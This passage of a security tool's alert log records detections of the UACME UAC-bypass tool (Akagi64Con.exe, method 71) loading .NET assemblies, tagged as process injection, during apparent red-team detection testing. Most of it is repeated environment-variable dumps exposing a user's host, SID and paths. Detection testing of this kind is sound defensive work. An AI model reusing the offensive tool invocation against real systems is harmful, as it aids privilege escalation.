PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:06+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\KeePass\0aafcaf276ea671c8afa5622f8ced0be\KeePass.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7199671 + Pid: 6812 + Tid: 14228 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:00.2104594 +0100 CET + Params: base_address➜ 7ff9a97d0000, checksum➜ 0, default_address➜ 7ff9a97d0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\KeePass\0aafcaf276ea671c8afa5622f8ced0be\KeePass.ni.exe, image_size➜ 11980800, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 6812, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.id: T1055, rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.name: Process Injection, rule.seq.link: 6601995826782797824, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005 + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:22+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S441824ef#\2aca26790c1610a0abca5f2d57ca3845\Microsoft.ServiceHub.Controller.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7225782 + Pid: 6812 + Tid: 14228 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:02.2529275 +0100 CET + Params: base_address➜ 7ff9ad4d0000, checksum➜ 0, default_address➜ 7ff9ad4d0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S441824ef#\2aca26790c1610a0abca5f2d57ca3845\Microsoft.ServiceHub.Controller.ni.exe, image_size➜ 3649536, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 6812, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 6601995826782797824, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005 + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program 